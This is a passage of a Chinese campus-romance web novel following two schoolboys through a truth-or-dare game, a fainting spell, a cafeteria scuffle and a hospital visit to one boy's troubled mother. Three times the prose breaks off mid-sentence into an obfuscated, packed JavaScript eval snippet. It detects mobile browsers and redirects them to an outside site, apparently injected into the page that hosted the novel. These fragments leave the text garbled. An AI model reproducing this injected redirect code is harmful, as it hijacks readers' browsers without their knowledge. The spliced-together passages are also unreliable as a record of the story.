锡纸上的烟火气还未散尽,几人围坐的桌上,竹签渐渐堆成小山。 陈温手上沾了点孜然粉,正伸手去抽纸巾,不小心蹭到沈泽许的手背。 那一瞬的触感像静电,细微却鲜明。陈温快速缩回手,不知所措地僵在原地。 沈泽许的动作也顿了顿,但没抬眼,慢条斯理地抽了张纸巾,递给陈温。 江夏把最后一块烤肉咬进嘴里,竹签“啪”地扔进空盘,眼睛亮得像是通了电,说:“哎——不如我们玩个游戏?” 众人纷纷点头,表示同意。经过一番讨论,最终大家一致决定要玩经典刺激的真心话大冒险。 江夏风风火火冲回隔壁,再回来时手里“啪”地甩出一副纸牌。 “当当!”她晃了晃那盒网购的卡牌,塑料包装还未拆,“上个月凑单买的,终于能用上了!” 江夏简单介绍起游戏规则:转动空瓶子,当瓶子停止转动时,瓶口所指之人就要接受真心话或者大冒险的挑战,三次接受惩罚必定有个大冒险,挑战就从纸牌里面抽。 猜拳决定顺序,第一个转瓶子的是江夏。她拿起一个空瓶子,用力一转。瓶身随着惯性,在桌面上旋转了几圈,最终缓缓停下,瓶口指向——沈泽许。 江夏嘴角扬起一抹坏笑:“真心话还是大冒险?” 沈泽许选择了相对温和一些的真心话。 江夏慢动作洗牌,扑克牌在她掌心翻飞,像一场微型暴风雨正在酝酿。她抽出一张卡牌,上面赫然写着:「你现在有没有喜欢的人?」 很经典的真心话。 当那张问题牌被抽出时,空气似乎变得粘稠,所有人都屏住了呼吸。 沈泽许垂眸,似乎在思考。 片刻后,他吐出一个字:“有。” 陈温不知道为什么,忽然尝到铁锈味,这才发现自己在咬口腔内壁。心跳声大得盖过汽车嗡鸣,像有谁在胸腔里擂鼓。 一只无形的手正在他心尖上系死结,一抽一紧。 “哇哦,真没想到啊!”江夏用手肘攻击陆晚枝,挤眉弄眼的样子活像在看八点档狗血剧,“那个人是你们学校的吗?” 沈泽许说:“这是第二个问题了。” 江夏吃不到八卦,失落地说:“好吧。” 接下来轮到陆晚枝。瓶子停下时,瓶口正对着陈温。 陈温毫不犹豫地脱口而出:“大冒险!”他仿佛早已做好了迎接挑战的准备。 要玩就要玩刺激的。 陆晚枝慢条斯理地抽牌,唇角勾起一抹意味深长的笑,按照卡牌上的内容说道:“将手贴在场其中一位同性的脸颊,而后,吻你自己的手背。” “什么!?”陈温的耳廓瞬间充血,他猛地转头看向沈泽许,那人正若无其事地用竹签戳着一块烤年糕。 “真的假的?给我看看卡牌!”陈温伸手就要去抢。 陆晚枝灵巧地躲开,将卡牌藏到身后:“愿赌服输哦。” 陈温缩回了手,目光飘向沈泽许又迅速弹开:“这……这不太合适吧?换一张!” “那……”陆晚枝变魔术般又抽出一张牌,眼睛弯成月牙,道:“亲在场的男生额头。” 陈温瞪大眼睛:??? 这是什么选项!还不如上一张。 这种给你布置了一项任务,如果你不答应,就提高这项任务的难度或要求,很多人都容易接受前者任务,陈温也不例外。 他攥紧的拳头松开又握紧,最终自暴自弃般嘟囔:“……用前面那张,可以吗?” 陆晚枝点点头,同意了。 她借着桌布的遮掩,把卡牌往江夏眼前一推——前一张赫然印着「亲吻在场同性的脸」,后一张则是「自定惩罚」四个小字。 江夏忍不住暗道一句:妙啊! ……只是游戏。陈温这样说服自己。 掌心触到沈泽许的脸颊,那人没什么婴儿肥。陈温觉得对方的皮肤比火光还烫,但他管不了多少了,蜻蜓点水的一吻落在自己手背。 茉莉香掠过鼻尖的同时,他弹簧般后撤。 “哇哦~”江夏的起哄声和陆晚枝的掌声中,沈泽许缓缓抬手碰了碰被亲到的地方。他的睫毛垂得很低,在灯光下投下一片阴影,却遮不住耳尖那抹可疑的红晕。 陈温死死盯着地板缝,恨不得当场挖个洞钻进去。 游戏继续,那个决定命运的瓶子由陈温再次转动,这次瓶口指向了陆晚枝,她选择了大冒险。 陈温立刻抓住机会,抽了张牌,坏笑道:“公主抱在场的一位女生。” 他还没来得及起哄,就见陆晚枝已经拦腰抱起了江夏。因为动作太快,江夏的草莓发绳勾住了陆晚枝的纽扣,两人笑作一团。 暮色逐渐变浓,江夏挂在陆晚枝肩上挥手告别。沈泽许站在玄关穿鞋,背上背着书包,影子被走廊灯拉得很长,一直延伸到陈温脚边。 男生准备离去,又缓缓靠近陈温,呼吸扫过他耳廓:“今天很开心,谢谢。” 奇怪,明明没碰到,为什么比刚才亲脸颊时还要痒? 关门声惊醒了发呆的陈温,他叹了口气,迈着沉重的步伐回到屋里。 盘子还没有清洗呢! 收拾竹签时,陈温注意到江夏面前的木条少得出奇。 大概是和陆晚枝的混在一起了吧。 他没多想,把最后几根沾着辣椒面的签子扔进垃圾桶。 水流冲刷着瓷盘,陈温重复着擦洗的动作。 洗碗液的泡沫堆积起来,虹彩斑斓中,他脑海浮现出沈泽许被他触碰时,骤然收缩的瞳孔。 “叮!” 失手打翻的玻璃杯将他拽回现实。 热水澡也没能浇熄那股燥热。雾气氤氲的镜面上,他无意识地描摹起那个人的轮廓:低垂的睫毛,抿紧的唇线,以及那句被水汽晕开的“谢谢”。 洗衣机在身后发出呜咽般的震动。陈温盯着滚筒里纠缠的衣物,喉结动了动。 “……疯了。” 他把自己摔进床铺,黑暗中,茉莉香仿佛又缠了上来。 陈温烦躁地翻了个身,把脸埋进枕头里,心里懊恼:我到底是怎么了?为什么总是忍不住去想他? 他又不是弯的。 陈温本来不知道“直的”“弯的”是什么意思的。他不怎么上为,对外界的新词总是慢半拍。 这事还是转校前的女同桌黄曦跟他说的,那天午休,她咬着吸管,问他:“哎,陈温,你是直的还是弯的?” 他愣了一下,以为是什么新出的物理概念。 后来她解释,他点点头,没多问。 不理解,但尊重。 他的前同桌经常提起这些事,久而久之,他也就听习惯了,甚至能接两句话。 不过,陈温对男生没感觉,也没有喜欢的女生,但是也不妨碍陈温觉得自己是直的! 逃避的念头反而成了催化剂。那些画面在脑海里愈发清晰,像老式放映机般一帧帧循环播放。 “……烦死了。” 陈温拽过被子罩住自己的头。 棉絮闷住呼吸,心跳声在封闭空间里被放大到震耳欲聋。 三秒后他忍无可忍地掀开,抓起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171938|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机泄愤似地划开屏幕。 沈泽许的微信头像是一片浓稠的漆黑。 聊天框里孤零零躺着条系统提示: “我通过了你的朋友验证请求,现在我们可以开始聊天了。” “SSS”三个字母在对话框顶端静静闪烁,像是某种隐秘的摩斯密码。 陈温盯着什么也没有的聊天记录看了又看,乍然坐了起来。 糟了,沈泽许的裤子还在自己家里! 匆匆跑到阳台,洗衣机正咕噜咕噜地转动着,两个人的衣服混在一起洗了。 “算了,明天还给他吧。”陈温叹了口气,又躺了回去。 可是睡不着。 陈温索性从床上爬起来,打开台灯,拿出练习册开始写了起来。 因为考试,老师并没有布置作业,但他现在睡不着,想找点别的事干。 陈温不怎么玩手机,短视频也很少刷,游戏也没有几个。 陈林峰和慕雪对他一个人住很放心,因为他一般都是在家里睡觉,几乎不出去玩,不然就是刷题。 书房里堆满了他在各种竞赛中获得的奖状,见证了他无数个埋头苦读的夜晚。 写了几页练习册后,他合上书本,揉了揉有些酸涩的眼睛,重新躺回床上。 这次沉沉的睡意终于袭来,一夜无梦。 第二天早上,他难得起了个大早,刷完牙,吃了块冷面包,将烘干好的裤子装进袋子里就去了学校。 早晨的教室里吵吵嚷嚷,粉笔灰在光束里无声浮动,像一场微型雪暴。 沈泽许的钢笔尖在纸面上匀速滑动,墨水晕开成整齐的公式。 他左手压着笔记本边缘,小指关节处还沾着墨渍,袖口随着书写动作起起伏伏,露出腕骨清晰的轮廓。 陈温来到他面前,把袋子递给他:“呐,你的裤子,昨天忘在我家了,我已经洗好了。”这番话说得怪怪的,他补充道:“是洗衣机洗的。” 沈泽许接过袋子,轻声说:“谢谢。” “客气。” 早读开始,班主任楚婷趁语文老师还没来,进了教室,宣布了一件事:“下周有一场重要的数学竞赛,每个班要推选三名同学参加。你们数学老师推荐我们班的沈泽许、叶萧云,还有陈温去,没问题吧?” 教室里顿时响起一片窃窃私语,似乎在憋笑。班长叶萧云皱起眉头,他举起手道:“老师,我有问题……” “没听到,好了就这么定了。还没有那么快上课,把昨天的化学试卷拿出来对一下。”楚婷知道他想说什么,直接无视了他。 叶萧云:“……” 下课铃响起,陈温缓缓地抬起头,目光落在老师发放下来的一沓的竞赛历年真题上,陷入了沉思。 为什么还要给去数学竞赛的人布置额外作业?老师为什么不选其他人?他不想做这么多题啊! 下节课是体育课,陈温还没来得及抱怨更多,就被林宇舟拉到楼下的户外操场。 体育老师穿着一身黑色运动服,身材不算高挑,大家私下里都喜欢喊他“业哥”。 因为他不仅教学不严格,还特别有亲和力,总能和学生们打成一片。 业哥站在操场中央,吹了一声哨子,声音洪亮:“大家集合!先做热身操,别待会儿受伤了。”说完,他朝林宇舟招了招手,“宇舟,带大家做热身操。” 林宇舟走到队伍前面,也喊了声:“排好队来,做热身操了!” 热身完,业哥拍了拍手,叫大家集合。 “好了,热身得差不多了。上、跑、道!” “不要啊!”同学们喊。 “不要也得要。” 二班的女生像一群轻盈的小鹿跑在了最前面,男生们则紧跟在她们身后。 林宇舟边跑着,边笑边拍陈温的肩膀问道:“陈温,待会儿一起打球不?四缺一。” 没跑多久,陈温就感觉有些头晕目眩,脚步也变得虚浮。 他之前所在的学校都是循序渐进地进行练习,从来没有像现在这样,刚热身完就立马跑1000米的训练。 林宇舟注意到他异样,问:“怎么了?是不是低血糖又犯了?” 陈温有气无力地点点头,低声回应:“好像是……”说完,他慢慢放脚步,林宇舟见状,也减慢了自己的速度。 “要不我扶你去医务室看看吧。” 陈温虚弱地回答了一声“好”。 还没开始走,他的双腿就发软,再也支撑不住身体的重量,眼前一黑,整个人就毫无征兆地晕倒在地。 沈泽许不知道从哪里窜了出来,一把将陈温打横抱起,朝医务室跑去。 日光刺眼,操场的喧闹声骤然远去,耳边只剩下急促的呼吸。 陈温感觉自己变成了一片羽毛,在黑暗中漂浮。沈泽许的心跳声透过胸膛传来,沉重而急促,像暴雨前闷雷的鼓点。 风像条顽皮的蛇,从衣缝钻进来,舔试他腰侧的皮肤。陈温下意识蜷缩,混沌的脑海里有个声音在警告:这样会走光。 他虚弱地揪住校服下摆,布料刚贴住皮肤,立刻被风掀起,没有用。 视野里的一切都泡在雾中。沈泽许的轮廓像在毛玻璃外晃动,陈温用气音呢喃:“我看不见了……” 他歪倒在对方肩上,手指无意识地攥紧沈泽许后颈的衣料。沈泽许立刻收拢手臂,掌心稳稳压住他被风撩起的衣角。 “别担心,快到了。” 可陈温脑袋昏昏沉沉的,只是重复着那句“我看不见了”,然后躺了一小会儿,闭紧了眼睛,不知是疲惫,还是不敢面对眼里黑暗的世界。 6. 想喝绿豆沙 日风在耳边呼啸,陈温感觉整个世界都在摇晃,视野模糊,意识也好像浸了水的棉花。 沈泽许的呼吸声异常清晰,比平时急促些,带着克制的喘息,拂过他额前的碎发。 医务室的门被一脚踢开,风铃剧烈晃动。 一进门,主任便认出了两人,她眉头微皱,说:“怎么回事啊?又低血糖了?” 沈泽许“嗯”了一声,小心翼翼地将陈温身子放在病床上。 主任问:“还好吗?” 陈温缓和了些,点点头。 主任端来一杯糖水,递到陈温嘴边:“喝下去,慢慢来啊。” 甜腻的糖水滑过喉咙,陈温的手终于不再发抖。当视线彻底聚焦时,他看见医务室天花板上有块霉斑,形状像只歪嘴笑的柴犬——这发现让他僵住。 记忆如潮水般涌来:沈泽许把他打横抱起,他瘫在人家怀里重复说“看不见了”,甚至还在颠簸中下意识搂住了对方的脖子…… 陈温当时根本不是“失明”,而是低血糖到连控制眼球的肌肉都罢工了。 所以沈泽许看到的……大概就是双翻到天灵盖的白眼。 “咳!”陈温被口水呛到,整张脸埋进掌心。 他现在宁愿自己是真的瞎了,至少不用面对正站在药柜前的沈泽许。 沈泽许看他表情不太好,便问:“还晕吗?” 陈温死死盯着那只霉斑柴犬,干笑两声:“哈哈,没事。” 他现在恨不得立刻挖一个地洞,钻进去永远不出来。人怎么可以经历这么尴尬的事? 又安慰自己道:没事没事,人的一辈子很短。人生没有那么多观众。 “你又没有吃早餐吗?”主任关切地问道,她的目光落在陈温略显苍白的脸上。 陈温轻轻地摇头,声音有些虚弱:“早上吃了一块面包。”他说着,摸了摸自己的肚子,似乎那面包并没有给他带来太多的饱腹感。 主任叹了口气,不禁皱起了眉头,严肃地说:“那你之前早上是不是都没吃?”她敏锐地察觉到了陈温的习惯问题。 被主任一语道破,顿时有些尴尬,陈温低着头,不敢直视主任的眼睛。 见状,主任语重心长起来:“这可不行,你每天都要吃早餐,不然身体怎么吃得消呢?长期不吃早餐很容易导致低血糖,这会影响到你的学习和身体健康的。” 陈温心里也明白自己这样做不对,于是乖巧地答道:“好的,老师我知道错了,下次不会再犯了。” 他眨着那双清澈的眼睛,诚恳地向主任保证。 主任说:“还有下次?” 陈温说:“绝对没有!” 经过短暂的休息,陈温恢复得差不多了,主任叮嘱几句,便让他们回教室好好上课。 回到教室后,体育课都结束了。 陈温疲惫地趴在桌子上,脸颊紧贴冰凉的课桌,脸朝向走廊的窗户看去。 林宇舟半个身子探进窗口,跟屋内女生嘻嘻哈哈说着什么。那女生正是那天在食堂遇到的人,2班的英语课代表——李清依。 开学那会儿,有几个英语成绩好的同学提前去英语培训班了,李清依就是其中一员。 女生笑容灿烂,眉眼弯弯,而林宇舟也是一脸轻松愉快,两人之间的气氛似乎带着一丝甜蜜的味道。 陈温收回目光,偏过头,窥视沈泽许。 沈泽许察觉到他的视线,低头问:“怎么了?” “没事。”陈温淡淡回道。 就在这时,林宇舟的声音从窗户边传来:“老沈!1班有人找你!” 陈温顺着声音看向门口,是那天在奶茶店遇见的女生。她正站在门外,手里捧着一盒精致的巧克力,包装纸上印着一朵向日葵。 沈泽许起身走了过去,他高大的身影完全笼住那个女生,像一堵筑起的墙。 零碎的对话声漏出来: “抱歉。” “这样啊……” 女生的表情由期待转为失落,最终带着巧克力离开了。 沈泽许拉开椅子坐下,陈温装作不经意地问道:“她找你做什么?” 其实他大概猜到了,但还是想听听沈泽许怎么说。 “没事。”男生简短地回了句。 到了饭点,林宇舟叫上了班长叶萧云,四人并肩走在校园的小路上。还没走到食堂门口,林宇舟好像看到了什么,猛地将叶萧云撂倒在地。 “哎呀!你干嘛啊!?”叶萧云摔了个措手不及,不满地喊道。 “没事没事,锻炼你的反应能力,哈哈哈。”林宇舟边笑着,边伸手将叶萧云拉了起来。 陈温顺着林宇舟的目光看去,李清依正蹲在不远处,逗弄着“学姐”,学姐是一只胖乎乎的橘猫。 学校里有许多流浪动物,学生们都很喜欢它们。校方经过讨论,决定将这些小动物留下来,并给它们打了疫苗,为校园增添了一丝生气。 叶萧云瞥了林宇舟一眼,把书包背在胸前,往缝隙里看他的手机,而后他笃定地说:“今天食堂有糖醋排骨。” 林宇舟侧过头问:“你怎么知道?” “我加了食堂阿姨的微信。”叶萧云拱了拱胸前的书包,“她说今天特意给我留了一份。” “还不是因为食堂阿姨喜欢你。”林宇舟一把揽过叶萧云的肩膀,笑道:“我的那一份呢?” 叶萧云五官虽然不出众,但脸是讨大人喜欢的,从食堂阿姨到宿管大爷,没有不喜欢他的老一辈。 叶萧云笑着撞了下林宇舟的肩膀,说:“舟哥,你这话说的,我靠的是人品。” 林宇舟两手抱胸:“你还有人品这东西?上次打篮球耍赖的是谁?” “那是战术!你不懂。”叶萧云理直气壮地反驳。 两人一路打打闹闹地排队,陈温则安静地站在一旁,目光时不时瞥向沈泽许。 食堂里早已排起了长队,空气中弥漫着饭菜的香气。 沈泽许站在陈温前面,他能闻到沈泽许身上淡淡的茉莉花味,清新又带着一丝冷冽。 他总觉得熟悉,却记不起什么时候闻过。 买好饭菜,他们找了一处空位坐下。 “哇~好香的糖醋排骨啊。是谁没有买到啊,真可惜了,怪香的。”叶萧云夹起一块排骨,故意在林宇舟面前晃悠。 林宇舟眼都不抬,淡定地回了一句:“我妈说不让我和傻子玩。” 叶萧云轻笑出声:“呵呵,吃不到葡萄就说葡萄酸。” 林宇舟翻起白眼:“呵呵,谁理你?” 两人在陈温对面斗起嘴来,越说越激烈。 陈温夹起一筷子土豆丝,慢吞吞地咀嚼着,眼神有些涣散,显然没什么胃口。 他的身形极为清瘦,修长的身躯裹在宽松的衣衫里,仿佛一阵风就能将他吹倒。 沈泽许注意到陈温的异样,他侧过头问:“不吃多点?” 陈温从混沌中清醒,勉强起嘴角:“没什么胃口。” “什么都不想吃吗?”沈泽许继续追问。 陈温低头想了想:“也不是……有点想喝绿豆沙。” “好。”沈泽许没多说什么,放下筷子。 正在打闹的林宇舟和叶萧云见状,不由得停了下来,愣愣地看着沈泽许站起来。 两人对视一眼,林宇舟率先开口:“怎么了老沈?” “我去买点东西,你们先吃。” 沈泽许说完,便转身离开了座位。 陈温望着他远去的背影,有些发怔。 明明只是随口一提,却有人把他的话放在心上,甚至立刻付诸行动。这种被重视的感觉,让他有些不知所措。 餐桌另一头的同学们吃完离开,又来了一群人坐下。他们看起来流里流气,不像善茬,带头的那位陈温觉得眼熟,但始终没有想起那男的是谁。 过了一会儿,林宇舟和叶萧云不吵了,饿得已经将饭菜一扫而空,而陈温只动了几口番茄炒蛋。 林宇舟看了一下陈温的餐盘,忍不住问道:“你不多吃点吗?” 叶萧云也凑过来附和:“是啊,小心又低血糖了。” 陈温低血糖的事不知道是被谁传了出去,班上的人都知道这事。 他瞥了沈泽许的餐盘一眼,饭菜凉透了不少,随后道:“我没事,不过沈泽许怎么还没回来?” 林宇舟正要开口说些什么,旁边忽地多了一道熟悉的身影。 “哇,沈哥,这么难买的绿豆沙你都搞到了?”叶萧云眼睛一亮,语气里满是崇拜。 林宇舟夸张地喊道:“请我们喝的?老沈我爱你!” “嗯,别爱我。”沈泽许淡淡地回了一句,将四杯绿豆沙放在桌上,“分一下。” “沈哥大方!威武!帅气逼人!!!” 林宇舟和叶萧云在一旁欢呼雀跃。 “这杯给你。”沈泽许将一杯绿豆沙推到陈温面前,顺便插上吸管。 “啊……谢谢。”陈温有些不好意思地接过,指尖触到杯壁,温度刚好。 “我们赶紧回教室吧,快到午休时间了。”林宇舟和叶萧云率先起身,端着餐盘离开了。 陈温看向沈泽许,犹豫了一下,还是问道:“你不多吃点吗?” 沈泽许轻声回道:“没事,我不饿。” 陈温说:“再吃点吧,我等你。” “你是在担心我吗?”沈泽许说。 “什么!”陈温红了耳朵,这简直就是污蔑,“我只是觉得这样很浪费粮食罢了!” 也许是把陈温的话听进去了,沈泽许坐下开始吃有些冷掉的饭,陈温在一旁等他,直到沈泽许说“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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男生抹了把脸上的虚汗,说:“对不起!”这三个字像是从牙缝里挤出来的,毫无诚意。 沈泽许从口袋抽出纸巾递给阿姨:“下午我还是会调监控,交到德育处的。” 男生知道被阴了,一脸阴沉。 陈温这才想起来为什么觉得这人眼熟了——他是开学考迟到、身上还有烟味的那个人。 男生低声骂了几句,带着几个同伴灰溜溜地离开了食堂。 刚刚的动静很大,整个食堂的目光都被吸引了过来,私语声此起彼伏,却没有一人上前帮忙。 “行了,大家别看了。” 沈泽许一个眼神扫过去—— 原本伸长的脖子齐刷刷缩回,此起彼伏的咳嗽声响起,“吃瓜群众们”默契地转开视线。 阿姨满脸歉意,连连鞠躬:“谢谢你们啊。” 叶萧云吸溜完最后一口绿豆沙,塑料杯底早就空了。他和林宇舟大眼瞪小眼—— 那两人是迷路了? 等杀回食堂时,正赶上最精彩的片段:沈泽许一个眼刀甩过去,全场吃瓜群众集体表演“失明”。 林宇舟眼睛一亮,快步冲过来,兴奋地说:“老沈,太帅了!刚才那一下简直了!” “可不!”叶萧云说:“杨子龙那货,在沈哥面前怂得跟个掉毛的吉娃娃似的。” 林宇舟默默点头,心想这比喻未免太侮辱吉娃娃。 沈泽许对两人的奉承充耳不闻。 他的目光落在泼洒的绿豆沙上——黏腻的绿色液体正顺着瓷砖缝隙蜿蜒,像条奄奄一息的小蛇。 他抽出随身带的卫生纸,单膝点地,抵着潮湿的地面,一下下擦拭着。 直到纸巾吸饱糖水,在他掌心团成个沉甸甸的球。 抛物线划过半空,“咚”地落进垃圾桶。 阿姨见状,急忙从口袋里掏出钱,语气诚恳:“真不好意思,让你们绿豆沙洒了。这样吧,阿姨请你们再喝一杯吧。” 陈温伸手按住了阿姨翻动钱包的手,笑道:“阿姨不用!再说了又不是您打翻的,我们待会儿再买一杯就是了。” 说是这么说,可是惠中的绿豆沙非常难买,要么就是量非常少,一下就被抢完;要么就是量多,但要排到猴年马月。 两人推让了一会儿,阿姨终究拗不过陈温,只好作罢。 走出食堂时,沈泽许突然驻足。 那杯没开封的绿豆沙被递到陈温眼前,他说:“给你。” 陈温怔了半秒,摇头失笑:“不用了,一杯绿豆沙而已,再说了,它什么时候都能再喝。” 7. 不想吃 消毒水味在推门瞬间汹涌而来,沈泽许放轻脚步,顺手把门关上。 病房里,一个女人坐在窗边的椅子上看书,她的身形极为纤瘦,瘦得几乎透明的手腕搭在扶手,纱布边缘露出一截淡青色的血管。 照顾她的阿姨曾支支吾吾地透露——女人用砸碎的玻璃杯,在腕间割出的伤口。 沈泽许问她是亲眼看见的吗?那阿姨转而又矢口否认,说不是自己割的。 事情究竟是怎样的,他不得而知。 “妈,我来了。”沈泽许边说,边将手中的百合放在床头柜上,花芯都被他提前摘除过,没有危害。 白千月缓缓抬头,露出一丝温柔的笑意:“小沈,你来啦。” “嗯。” 沈泽许端坐母亲身边,握住她的手,低声问道:“妈最近感觉怎么样了?” 白千月轻轻叹了口气,目光飘向窗外。 “还好,只是……” 女人的尾音消失在颤抖的指间。沈泽许知道她在害怕谁,害怕那个掌控她一切的男人。 母子间的低语声被突如其来的推门声斩断。 男人的皮鞋叩在大理石地面上,每步都像一记闷雷。 皮鞋尖在沈泽许面前骤停。 “看来我来的不是时候?”沈明远抬手整理袖口,说:“你今天没去上奥数培训?” “刚结束竞赛班,”沈泽许说,“顺路买了百合花,来看看妈。” 沈明远瞥了眼花瓣上的水珠,说:“家里还有一堆,而且这花也皱巴巴的。” 白千月打断了两人之间的对话,声音突然变得虚弱:“行了行了,明远……我想喝粥。医院食堂的就行。” 沈明远的目光在母子间巡梭片刻。 关门声很轻,像保险柜落锁般精准。 沈泽许握紧拳头,指甲深深嵌入掌心,心中的无力感几乎要将他淹没。 现在的他还无法与父亲抗衡,但他发誓,总有一天,总有一天他会让他的母亲不在这种恐惧和压抑的环境下生活。 白千月拉了拉沈泽许的衣角,说:“小沈,别和你父亲吵……我也不想让你因为我受伤。” 沈泽许抬起头,母亲状态不佳的脸映入眼帘,心中是不自然的一阵刺痛。 “妈,你别担心,我没事的。” 女人的手指轻抚他的手背,仿佛在无声地传递着某种情感,说:“嗯,会没事的。” 沈泽许的思绪不由自主地回到了童年——四岁的男孩小心翼翼地踮脚,推开琴房的门时,白千月又坐在那扇落地窗前。 阳光穿透她单薄的睡裙,将她的影子投在三角钢琴上,沈泽许边小跑过来,边喊:“妈妈!妈妈!” 小沈泽许举起歪歪扭扭的纸飞机,机翼上还沾着彩笔涂鸦。 “妈妈你看我折的纸飞机,是小萌老师教我的折法,它能飞过整个花园噢!” 白千月倚在墙上,双手托起那架纸飞机。 一阵风掠过,沈泽许忽然蹙眉——女人袖口飘出药的味道,正是他童年最恐惧的气息。 那种苦涩仿佛能钻透牙髓,让舌根泛起记忆中的铁锈味。 “真厉害。”白千月说,“小沈,去草坪上飞给梧桐树看,好不好?” 沈泽许注意到比之前瘦一圈的母亲,把低飞机塞进她掌心:“给妈妈先飞!” 一滴泪砸在机翼上,晕开透明的涟漪。 男孩推出门时,听见母亲呢喃:“梧桐叶落时……有些鸟是往地上飞的……” 琴房里只剩摇椅轻轻晃动。微风穿过空荡荡的房间,掀起的乐谱上还留着未干的泪痕。 当沈明远发现白千月逃跑的事实,整栋别墅都在他的暴怒中震颤。 水晶碎片飞溅到走廊的每一处,仆人们屏息缩在角落,连庭院里的梧桐都仿佛蜷起了枝叶。 沈泽许蜷缩在书桌下的三角空间里。 膝盖抵着胸口,他把呜咽咬碎在齿间。泪水砸在地毯上,吸音良好的羊毛吞没了所有哭泣。 他在想,为什么母亲不带走自己? 不知过了几天,白千月又回来了,但她变得瘦弱不堪,眼神也变得空洞而敏感。 她整天不吃不喝,除了偶尔跟沈泽许说一两句外,其余时间她都发着呆,不知道在想些什么。 沈明远将她送进医院治疗,那天的晚上,有人在放烟花。 烟花在夜空中炸开,绚烂如星河,可母亲的目光却始终没有聚焦在那片璀璨上。 她的虹膜里倒映着的,永远是那个没有监控摄像头的后花园。 白千月被送进医院治疗后,沈泽许总是会偷偷跑去看她。 每周下午五点十五分,他准时出现在医院三楼,护士站的护士们早已习惯这个沉默的少年。 他怀里永远抱着用校服裹住的百合。 白千月也总在他推门前便认出脚步声,百合花清冽的香气像一剂镇定剂,总能让她紧绷的神经稍稍松弛下来。 沈泽许知道母亲最喜欢百合,但更清楚父亲绝不会允许他送进去。 记忆闪回到那天傍晚:父亲手中捏着的,正是他遗落在长椅上的校牌。 他威胁道:“再有下次,就送你去寄宿学校。” 那句话像柄手术刀,精准剜进沈泽许心脏最柔软的位置。 可当沈泽许真的两周没出现时,阿姨的电话打破了僵局: “夫人情绪很不稳定……” 沈明远最终阴沉着脸甩来一张通行证:“看好她。” 沈泽许凝视着病房门上的小窗。母亲向往自由的灵魂,却被囚禁在这方寸之间。 总有一天——他要亲手砸碎这座牢笼。 沈泽许拎着空花瓶穿过长廊,顶灯将他的影子折成断续的虚线。 余光里闪过一道熟悉的身影,但他还没来得及看清那人是谁,那人影便转瞬消失在拐角,步伐快得像幻觉。 沈泽许下意识追了上去,拐角处,他并没有发现那个熟悉的身影,而是另外两人。 林宇舟正把一份文件塞给一个女生,女生正是李清依。 她沉默地接过文件,眉眼陷进阴影里。 沈泽许后撤半步,将自己隐入电梯“叮”的亮响里。 教学楼下的樟树上,两只鸟正在争夺一根绒线。其中较弱小的那只突然松口,绒线飘飘荡荡落在阳台栏杆上。 离上课还有一段时间,教室里零零散散地坐着几个人。 大多数同学都在埋头狂补作业,或是趴在桌上争分夺秒地补觉,陈温是其中一个。 他将整张脸埋搭在桌子上,另一只手放在肚子上,闭着眼试图再眯一会儿。 然而空荡荡的胃不合时宜地“咕”了一声。 他烦躁地转头,掀开眼皮,余光见沈泽许正从书包里拿出一个纸袋——是三明治的香气。 生菜的清爽混着香肠的咸香,还有面包焦脆的气息,一下子钻入鼻腔,勾得他胃里又是一阵抗议。 ……好香。陈温在心里哀叹一声,元姨回了老家,他也懒得自己做早餐,干脆空着肚子来上学。 反正教室里也没人在意他吃没吃早饭,大家都在埋头赶作业或补觉,谁管他饿不饿? “拿着。”沈泽许的声音突兀地响起,带着不容拒绝的味道。 陈温慢半拍地抬起头,茫然地看向对方:“啊……?” “你不是没吃早餐吗?”沈泽许把纸袋往他面前晃了晃,顿时,三明治的香气更浓烈地扑了过来。 男生皱起眉头,下意识嘴硬:“你怎么知道?不对……谁跟你说我没吃了?” 沈泽许没搭理他的反驳,冷淡地扫了他一眼,反问:“你不喜欢这个口味吗?” 陈温一噎,心里莫名别扭,干脆又趴了回去,声音闷闷的:“……不想吃。” “行,那我扔了。”沈泽许作势要起身,“反正某人不喜欢。” 陈温瞬间弹起来,一把拽住纸袋:“别……我要。” 他小声嘟囔着,终究舍不得好好的一个三明治填饱垃圾桶的肚子。 浪费食物?陈温他做不到! 沈泽许注意到这人连续几天都是空着肚子来上课,叫阿姨多做了一份早餐。 当然他也没真打算扔,不过是为了逗某人,某人嘴硬,他比谁都清楚。 陈温咬了一大口,腮帮子鼓鼓的。 面包外皮酥脆,内里却柔软,酱料的酸甜恰到好处地中和了香肠的咸腻。 他一边吃,一边偷偷瞄了一下沈泽许。 对方已经低头整理笔记,神色平静,仿佛刚才的一切都没发生过。 最后一口面包被陈温胡乱塞进嘴里,喉结急促地滚动了两下,差点噎住。 下一秒,教室门被推开。 楚婷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林宇舟整个人没骨头似的瘫在后桌上,腿伸到走道,说:“天地良心,我这两天光啃《五三》了——” “你还很嚣张!?”楚婷气得把教案往讲台上一拍,“再加10遍!还有把你的腿给我收回去,你腿很长是不是?一定要伸出来。” “别啊老师!”林宇舟立刻坐直身子,双手合十作求饶状,“我错了,就抄10遍行不行!” “哈哈哈。”周围的同学都忍不住笑出声来。 虽然林宇舟总是一副玩世不恭的样子,活像个人形懒猫——可但凡瞥见他课本上密密麻麻的批注,或是那张永远卡在年级前十的成绩单,就知道这副吊儿郎当的模样全是伪装。 楚婷瞪了他一眼,没同意。 她也是为林宇舟好。 不长记性,是不会改的。 